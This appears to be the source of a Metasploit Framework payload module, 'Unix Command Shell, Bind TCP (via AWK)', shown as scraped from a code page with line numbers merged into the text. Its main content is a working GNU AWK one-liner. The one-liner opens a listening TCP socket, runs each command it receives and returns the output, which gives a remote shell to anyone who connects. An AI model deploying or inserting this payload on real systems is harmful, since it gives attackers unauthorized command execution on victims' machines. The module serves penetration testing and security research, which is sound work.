Path: blob/master/modules/payloads/singles/cmd/unix/bind_awk.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 14078include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Bind TCP (via AWK)',16'Description' => 'Listen for a connection and spawn a command shell via GNU AWK',17'Author' => [18'espreto <robertoespreto[at]gmail.com>',19'Ulisses Castro <uss.thebug[at]gmail.com>'20],21'License' => MSF_LICENSE,22'Platform' => 'unix',23'Arch' => ARCH_CMD,24'Handler' => Msf::Handler::BindTcp,25'Session' => Msf::Sessions::CommandShell,26'PayloadType' => 'cmd',27'RequiredCmd' => 'gawk',28'Payload' => {29'Offsets' => {},30'Payload' => ''31}32)33)34end3536#37# Constructs the payload38#39def generate(_opts = {})40super + command_string41end4243#44# Returns the command string to use for execution45#46def command_string47awkcmd = <<~AWK48awk 'BEGIN{49s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";50do{51if((s|&getline c)<=0)52break;53if(c){54while((c|&getline)>0)print $0|&s;55close(c)56}57} while(c!=\"exit\")58close(s)59}'60AWK61awkcmd.gsub!("\n", '').gsub!(' ', '')62end63end646566